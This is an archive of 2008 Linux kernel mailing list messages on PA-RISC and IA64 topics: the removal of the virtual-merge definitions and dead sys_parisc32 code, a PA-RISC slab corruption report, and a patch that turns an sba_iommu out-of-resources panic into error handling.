	linux-kernel@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 01 18:00:54 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KwJqH-0002W3-5j
	for glpp-linux-parisc@gmane.org; Sat, 01 Nov 2008 18:00:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751403AbYKAQ7o (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 1 Nov 2008 12:59:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751888AbYKAQ7o
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 1 Nov 2008 12:59:44 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:47448 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751403AbYKAQ7n (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 1 Nov 2008 12:59:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 83B9B1804C3;
	Sat,  1 Nov 2008 10:59:41 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14196-02; Sat, 1 Nov 2008 10:59:31 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 2DCDE6F8041; Sat,  1 Nov 2008 10:59:31 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20081024143826Z.fujita.tomonori@lab.ntt.co.jp>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:821 gmane.linux.kernel:752069
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/821>

On Fri, Oct 24, 2008 at 02:41:01PM +0900, FUJITA Tomonori wrote:
> The block layer dropped the virtual merge feature
> (b8b3e16cfe6435d961f6aaebcfd52a1ff2a988c5). BIO_VMERGE_BOUNDARY and
> BIO_VMERGE_MAX_SIZE definitions are meaningless now.

Sweet!
I've never liked the fact that the block layer did this but recognize
it was useful to maximize the number of SG entries used for
each IO sent to the storage controller.

> Signed-off-by: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>

Acked-by: Grant Grundler <grundler@parisc-linux.org>

thanks,
grant

> ---
>  arch/parisc/include/asm/io.h |    6 ------
>  arch/parisc/kernel/setup.c   |    5 -----
>  drivers/parisc/ccio-dma.c    |    2 --
>  drivers/parisc/sba_iommu.c   |    2 --
>  4 files changed, 0 insertions(+), 15 deletions(-)
> 
> diff --git a/arch/parisc/include/asm/io.h b/arch/parisc/include/asm/io.h
> index 55ddb18..b92efb3 100644
> --- a/arch/parisc/include/asm/io.h
> +++ b/arch/parisc/include/asm/io.h
> @@ -4,12 +4,6 @@
>  #include <linux/types.h>
>  #include <asm/pgtable.h>
>  
> -extern unsigned long parisc_vmerge_boundary;
> -extern unsigned long parisc_vmerge_max_size;
> -
> -#define BIO_VMERGE_BOUNDARY	parisc_vmerge_boundary
> -#define BIO_VMERGE_MAX_SIZE	parisc_vmerge_max_size
> -
>  #define virt_to_phys(a) ((unsigned long)__pa(a))
>  #define phys_to_virt(a) __va(a)
>  #define virt_to_bus virt_to_phys
> diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
> index 7d27853..8d8b024 100644
> --- a/arch/parisc/kernel/setup.c
> +++ b/arch/parisc/kernel/setup.c
> @@ -58,11 +58,6 @@ int parisc_bus_is_phys __read_mostly = 1;	/* Assume no IOMMU is present */
>  EXPORT_SYMBOL(parisc_bus_is_phys);
>  #endif
>  
> -/* This sets the vmerge boundary and size, it's here because it has to
> - * be available on all platforms (zero means no-virtual merging) */
> -unsigned long parisc_vmerge_boundary = 0;
> -unsigned long parisc_vmerge_max_size = 0;
> -
>  void __init setup_cmdline(char **cmdline_p)
>  {
>  	extern unsigned int boot_args[];
> diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
> index dcc1e99..62cc21d 100644
> --- a/drivers/parisc/ccio-dma.c
> +++ b/drivers/parisc/ccio-dma.c
> @@ -1578,8 +1578,6 @@ static int __init ccio_probe(struct parisc_device *dev)
>  
>  	ioc_count++;
>  
> -	parisc_vmerge_boundary = IOVP_SIZE;
> -	parisc_vmerge_max_size = BITS_PER_LONG * IOVP_SIZE;
>  	parisc_has_iommu();
>  	return 0;
>  }
> diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
> index bc73b96..bdc9a0a 100644
> --- a/drivers/parisc/sba_iommu.c
> +++ b/drivers/parisc/sba_iommu.c
> @@ -1979,8 +1979,6 @@ sba_driver_callback(struct parisc_device *dev)
>  	proc_create("sba_iommu-bitmap", 0, root, &sba_proc_bitmap_fops);
>  #endif
>  
> -	parisc_vmerge_boundary = IOVP_SIZE;
> -	parisc_vmerge_max_size = IOVP_SIZE * BITS_PER_LONG;
>  	parisc_has_iommu();
>  	return 0;
>  }
> -- 
> 1.5.4.2
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.kernel.input,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 2.6.28-rc2: USB/INPUT: slab error in
	cache_alloc_debugcheck_after(): double free?
Date: Sat, 1 Nov 2008 11:56:52 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20081101175652.GH13302@colo.lackof.org>
References: <200810310011.08618.deller@gmx.de> <20081031044553.50882e86@epia.jer-c2.orkz.net> <alpine.LRH.1.10.0810311254400.7585@twin.jikos.cz> <20081031161640.16f20fd1@epia.jer-c2.orkz.net> <alpine.LNX.1.10.0810311626160.31273@jikos.suse.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1225562237 8266 80.91.229.12 (1 Nov 2008 17:57:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Nov 2008 17:57:17 +0000 (UTC)
Cc: Jeroen Roovers <jer@gentoo.org>, linux-input@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Jiri Slaby <jslaby@suse.cz>
To: Jiri Kosina <jkosina@suse.cz>
Original-X-From: linux-input-owner@vger.kernel.org Sat Nov 01 18:58:18 2008
connect(): Connection refused
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KwKjo-00048E-H2
	for glki-linux-input-2@gmane.org; Sat, 01 Nov 2008 18:58:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752002AbYKAR5H (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Sat, 1 Nov 2008 13:57:07 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752034AbYKAR5H
	(ORCPT <rfc822;linux-input-outgoing>);
	Sat, 1 Nov 2008 13:57:07 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:47889 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752002AbYKAR5G (ORCPT <rfc822;linux-input@vger.kernel.org>);
	Sat, 1 Nov 2008 13:57:06 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2F8326F806B;
	Sat,  1 Nov 2008 11:57:03 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18458-06; Sat, 1 Nov 2008 11:56:52 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E1DA66F8041; Sat,  1 Nov 2008 11:56:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <alpine.LNX.1.10.0810311626160.31273@jikos.suse.cz>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:5901 gmane.linux.kernel:752078 gmane.linux.ports.parisc:822
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/822>

On Fri, Oct 31, 2008 at 04:27:48PM +0100, Jiri Kosina wrote:
> On Fri, 31 Oct 2008, Jeroen Roovers wrote:
> 
> > > Could you please provide your config? I am still not able to reproduce 
> > > it here. Thanks.
> > Added to the bug report[1]. The architecture is hppa (parisc).
> 
> Hmm, so we have just two reports of this corruption, and both of them come 
> from PA-RISC systems. Noone else has reported this, and I haven't been 
> able to reproduce it myself on x86.
> 
> On the other hand I don't seem to see any commit that went into 
> arch/parisc between .27 and 28-rc1 which could possibly cause this...

Maybe check drivers/parisc/?
Long shot but if it's easy to check...

Any chance this is a big endian vs little endian problem?
I've found at least one of those in the USB layer before.

grant
--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] remove dead code from sys_parisc32.c
Date: Wed, 5 Nov 2008 15:08:10 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <20081105140810.GA5411@lst.de>
References: <20080817024151.GA24129@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1225894110 21128 80.91.229.12 (5 Nov 2008 14:08:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Nov 2008 14:08:30 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 05 15:09:32 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kxj4W-0001HA-GG
	for glpp-linux-parisc@gmane.org; Wed, 05 Nov 2008 15:09:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752044AbYKEOIO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Nov 2008 09:08:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752237AbYKEOIO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Nov 2008 09:08:14 -0500
Original-Received: from verein.lst.de ([213.95.11.210]:52952 "EHLO verein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752044AbYKEOIO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Nov 2008 09:08:14 -0500
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by verein.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id mA5E8AIF005452
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO)
	for <linux-parisc@vger.kernel.org>; Wed, 5 Nov 2008 15:08:10 +0100
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id mA5E8AKr005450
	for linux-parisc@vger.kernel.org; Wed, 5 Nov 2008 15:08:10 +0100
Content-Disposition: inline
In-Reply-To: <20080817024151.GA24129@lst.de>
User-Agent: Mutt/1.3.28i
X-Spam-Score: -0.001 () BAYES_44
X-Scanned-By: MIMEDefang 2.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:823
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/823>

Anyone wants to pick this one up?

On Sun, Aug 17, 2008 at 04:41:51AM +0200, Christoph Hellwig wrote:
> Unless I'm totally missing something get_fd_set32/set_fd_set32 are
> completely unused.
> 
> 
> Signed-off-by: Christoph Hellwig <hch@lst.de>
> 
> Index: linux-2.6/arch/parisc/kernel/sys_parisc32.c
> ===================================================================
> --- linux-2.6.orig/arch/parisc/kernel/sys_parisc32.c	2008-08-16 23:40:26.000000000 -0300
> +++ linux-2.6/arch/parisc/kernel/sys_parisc32.c	2008-08-16 23:40:46.000000000 -0300
> @@ -284,68 +284,6 @@ int cp_compat_stat(struct kstat *stat, s
>  	return err;
>  }
>  
> -/*** copied from mips64 ***/
> -/*
> - * Ooo, nasty.  We need here to frob 32-bit unsigned longs to
> - * 64-bit unsigned longs.
> - */
> -
> -static inline int
> -get_fd_set32(unsigned long n, u32 *ufdset, unsigned long *fdset)
> -{
> -	n = (n + 8*sizeof(u32) - 1) / (8*sizeof(u32));
> -	if (ufdset) {
> -		unsigned long odd;
> -
> -		if (!access_ok(VERIFY_WRITE, ufdset, n*sizeof(u32)))
> -			return -EFAULT;
> -
> -		odd = n & 1UL;
> -		n &= ~1UL;
> -		while (n) {
> -			unsigned long h, l;
> -			__get_user(l, ufdset);
> -			__get_user(h, ufdset+1);
> -			ufdset += 2;
> -			*fdset++ = h << 32 | l;
> -			n -= 2;
> -		}
> -		if (odd)
> -			__get_user(*fdset, ufdset);
> -	} else {
> -		/* Tricky, must clear full unsigned long in the
> -		 * kernel fdset at the end, this makes sure that
> -		 * actually happens.
> -		 */
> -		memset(fdset, 0, ((n + 1) & ~1)*sizeof(u32));
> -	}
> -	return 0;
> -}
> -
> -static inline void
> -set_fd_set32(unsigned long n, u32 *ufdset, unsigned long *fdset)
> -{
> -	unsigned long odd;
> -	n = (n + 8*sizeof(u32) - 1) / (8*sizeof(u32));
> -
> -	if (!ufdset)
> -		return;
> -
> -	odd = n & 1UL;
> -	n &= ~1UL;
> -	while (n) {
> -		unsigned long h, l;
> -		l = *fdset++;
> -		h = l >> 32;
> -		__put_user(l, ufdset);
> -		__put_user(h, ufdset+1);
> -		ufdset += 2;
> -		n -= 2;
> -	}
> -	if (odd)
> -		__put_user(*fdset, ufdset);
> -}
> -
>  struct msgbuf32 {
>      int mtype;
>      char mtext[1];
---end quoted text---
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC] remove dead code from sys_parisc32.c
Date: Wed, 5 Nov 2008 10:10:29 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20081105151029.GA12146@bombadil.infradead.org>
References: <20080817024151.GA24129@lst.de> <20081105140810.GA5411@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1225897846 2989 80.91.229.12 (5 Nov 2008 15:10:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Nov 2008 15:10:46 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 05 16:11:49 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kxk2m-0008P2-IE
	for glpp-linux-parisc@gmane.org; Wed, 05 Nov 2008 16:11:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751954AbYKEPKa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Nov 2008 10:10:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751612AbYKEPKa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Nov 2008 10:10:30 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49472 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751866AbYKEPKa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Nov 2008 10:10:30 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1Kxk1d-00077p-5W; Wed, 05 Nov 2008 15:10:29 +0000
Content-Disposition: inline
In-Reply-To: <20081105140810.GA5411@lst.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:824
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/824>

On Wed, Nov 05, 2008 at 03:08:10PM +0100, Christoph Hellwig wrote:
> Anyone wants to pick this one up?
> 
> On Sun, Aug 17, 2008 at 04:41:51AM +0200, Christoph Hellwig wrote:
> > Unless I'm totally missing something get_fd_set32/set_fd_set32 are
> > completely unused.
> > 

Heh, sorry. Applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Panic in multiple kernels: IA64 SBA IOMMU: Culprit commit on
 Mar 28, 2008
Date: Thu, 6 Nov 2008 03:26:31 +0900
Lines: 132
Approved: news@gmane.org
Message-ID: <20081106032605J.fujita.tomonori@lab.ntt.co.jp>
References: <490F880E.4000801@cse.unsw.edu.au>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1225909655 16889 80.91.229.12 (5 Nov 2008 18:27:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 5 Nov 2008 18:27:35 +0000 (UTC)
Cc: fujita.tomonori@lab.ntt.co.jp, akpm@linux-foundation.org,
	tony.luck@intel.com, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: shehjart@cse.unsw.edu.au
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 05 19:28:37 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kxn7E-0006bi-TW
	for glpp-linux-parisc@gmane.org; Wed, 05 Nov 2008 19:28:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752463AbYKES1T (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Nov 2008 13:27:19 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753966AbYKES1S
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Nov 2008 13:27:18 -0500
Original-Received: from sh.osrg.net ([192.16.179.4]:49438 "EHLO sh.osrg.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753674AbYKES1R (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Nov 2008 13:27:17 -0500
Original-Received: from localhost (viola.osrg.net [10.76.0.4])
	by sh.osrg.net (8.13.8/8.13.8/OSRG-NET) with ESMTP id mA5IQVfw006972;
	Thu, 6 Nov 2008 03:26:32 +0900
In-Reply-To: <490F880E.4000801@cse.unsw.edu.au>
Original-Lines: 127
X-Virus-Scanned: ClamAV 0.94/8574/Thu Nov  6 02:26:44 2008 on sh.osrg.net
X-Virus-Status: Clean
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:825 gmane.linux.kernel:753559
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/825>

Sorry for the delay.

CC'ed linux-parisc since the same problem could happen to parisc.

On Tue, 04 Nov 2008 10:23:58 +1100
Shehjar Tikoo <shehjart@cse.unsw.edu.au> wrote:

> I've been observing kernel panics for the past week on
> kernel versions 2.6.26, 2.6.27 but not on 2.6.24 and 2.6.25.
> 
> The panic message says:
> 
> arch/ia64/hp/common/sba_iommu.c: I/O MMU is out of mapping resources
> 
> Using git-bisect, I've zeroed in on the commit that introduced this.
> Please see the attached file for the commit.
> 
> The workload consists of 2 tests:
> 1. Single fio process writing a 1 TB file.
> 2. 15 fio processes writing 15GB files each.
> 
> The panic happens on both workloads. There is no stack trace after
> the above message.
> 
> Other info:
> System is HP RX6600(16Gb RAM, 16 processors w/ dual cores and HT)
> 20 SATA disks under software RAID0 with 6 TB capacity.
> Silicon Image 3124 controller.
> File system is XFS.
> 
> I'd much appreciate some help in fixing this because this panic has
> basically stalled my own work. I'd be willing to run more tests on my
> setup to test any patches that possibly fix this issue.

This patch modified the sba IOMMU driver to support LLDs' segment
boundary limits properly.

ATA hardware has poor segment boundary limit, 64KB. In addition, sba
IOMMU driver uses size-aligned allocation algorithm. It means that
it's difficult for the IOMMU driver to find an appropriate I/O address
space. I think that you hit the allocation failure due to this problem
(of course, it's possible that my change breaks the IOMMU driver but I
can't find a problem so far).

To make matters worse, sba IOMMU driver panic when the allocation
fails. IIRC, only IA64 and parisc IOMMU drivers panic by default in
the case of the allocation failure. I think that we need to change
them to handle the failure properly.

Can you try this? I've not fixed map_single failure yet but I think
that you hit the failure allocation in map_sg path.


diff --git a/arch/ia64/hp/common/sba_iommu.c b/arch/ia64/hp/common/sba_iommu.c
index d98f0f4..8f44dc8 100644
--- a/arch/ia64/hp/common/sba_iommu.c
+++ b/arch/ia64/hp/common/sba_iommu.c
@@ -676,12 +676,19 @@ sba_alloc_range(struct ioc *ioc, struct device *dev, size_t size)
 			spin_unlock_irqrestore(&ioc->saved_lock, flags);
 
 			pide = sba_search_bitmap(ioc, dev, pages_needed, 0);
-			if (unlikely(pide >= (ioc->res_size << 3)))
-				panic(__FILE__ ": I/O MMU @ %p is out of mapping resources\n",
-				      ioc->ioc_hpa);
+			if (unlikely(pide >= (ioc->res_size << 3))) {
+				printk(KERN_WARNING "%s: I/O MMU @ %p is"
+				       "out of mapping resources, %u %u %lx\n",
+				       __func__, ioc->ioc_hpa, ioc->res_size,
+				       pages_needed, dma_get_seg_boundary(dev));
+				return -1;
+			}
 #else
-			panic(__FILE__ ": I/O MMU @ %p is out of mapping resources\n",
-			      ioc->ioc_hpa);
+			printk(KERN_WARNING "%s: I/O MMU @ %p is"
+			       "out of mapping resources, %u %u %lx\n",
+			       __func__, ioc->ioc_hpa, ioc->res_size,
+			       pages_needed, dma_get_seg_boundary(dev));
+			return -1;
 #endif
 		}
 	}
@@ -962,6 +969,7 @@ sba_map_single_attrs(struct device *dev, void *addr, size_t size, int dir,
 #endif
 
 	pide = sba_alloc_range(ioc, dev, size);
+	BUG_ON(pide < 0);
 
 	iovp = (dma_addr_t) pide << iovp_shift;
 
@@ -1304,6 +1312,7 @@ sba_coalesce_chunks(struct ioc *ioc, struct device *dev,
 	unsigned long dma_offset, dma_len; /* start/len of DMA stream */
 	int n_mappings = 0;
 	unsigned int max_seg_size = dma_get_max_seg_size(dev);
+	int idx;
 
 	while (nents > 0) {
 		unsigned long vaddr = (unsigned long) sba_sg_address(startsg);
@@ -1402,9 +1411,13 @@ sba_coalesce_chunks(struct ioc *ioc, struct device *dev,
 		vcontig_sg->dma_length = vcontig_len;
 		dma_len = (dma_len + dma_offset + ~iovp_mask) & iovp_mask;
 		ASSERT(dma_len <= DMA_CHUNK_SIZE);
-		dma_sg->dma_address = (dma_addr_t) (PIDE_FLAG
-			| (sba_alloc_range(ioc, dev, dma_len) << iovp_shift)
-			| dma_offset);
+		idx = sba_alloc_range(ioc, dev, dma_len);
+		if (idx < 0) {
+			dma_sg->dma_length = 0;
+			return -1;
+		}
+		dma_sg->dma_address = (dma_addr_t)(PIDE_FLAG | (idx << iovp_shift)
+						   | dma_offset);
 		n_mappings++;
 	}
 
@@ -1476,6 +1489,10 @@ int sba_map_sg_attrs(struct device *dev, struct scatterlist *sglist, int nents,
 	** Access to the virtual address is what forces a two pass algorithm.
 	*/
 	coalesced = sba_coalesce_chunks(ioc, dev, sglist, nents);
+	if (coalesced < 0) {
+		sba_unmap_sg_attrs(dev, sglist, nents, dir, attrs);
+		return 0;
+	}
 
 	/*
 	** Program the I/O Pdir

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Shehjar Tikoo <shehjart@cse.unsw.edu.au>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Panic in multiple kernels: IA64 SBA IOMMU: Culprit commit on
 Mar 28, 2008
Date: Thu, 06 Nov 2008 14:06:09 +1100
Lines: 142
Approved: news@gmane.org
Message-ID: <49125F21.8010806@cse.unsw.edu.au>
References: <490F880E.4000801@cse.unsw.edu.au> <20081106032605J.fujita.tomonori@lab.ntt.co.jp>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1225941260 17043 80.91.229.12 (6 Nov 2008 03:14:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 6 Nov 2008 03:14:20 +0000 (UTC)
Cc: akpm@linux-foundation.org, tony.luck@intel.com,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: FUJITA Tomonori <fujita.tomonori@lab.ntt.co.jp>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 06 04:15:21 2008
connect(): Connection refused
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KxvL3-0005eo-3r
	for glpp-linux-parisc@gmane.org; Thu, 06 Nov 2008 04:15:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752789AbYKFDOF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Nov 2008 22:14:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752677AbYKFDOF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 5 Nov 2008 22:14:05 -0500
Original-Received: from tone.orchestra.cse.unsw.EDU.AU ([129.94.242.59]:59975 "EHLO
	tone.orchestra.cse.unsw.EDU.AU" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752674AbYKFDOE (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Nov 2008 22:14:04 -0500
Original-Received: From
	[203.143.160.170] ([203.143.160.170] == chaos.ken.nicta.com.au) (auth-user shehjart) (cse-authentic-sender shehjart)
	By tone With Smtp ; Thu, 6 Nov 2008 14:13:17 +1100 
User-Agent: Mozilla-Thunderbird 2.0.0.9 (X11/20080110)
In-Reply-To: <20081106032605J.fujita.tomonori@lab.ntt.co.jp>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:826 gmane.linux.kernel:753758
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/826>

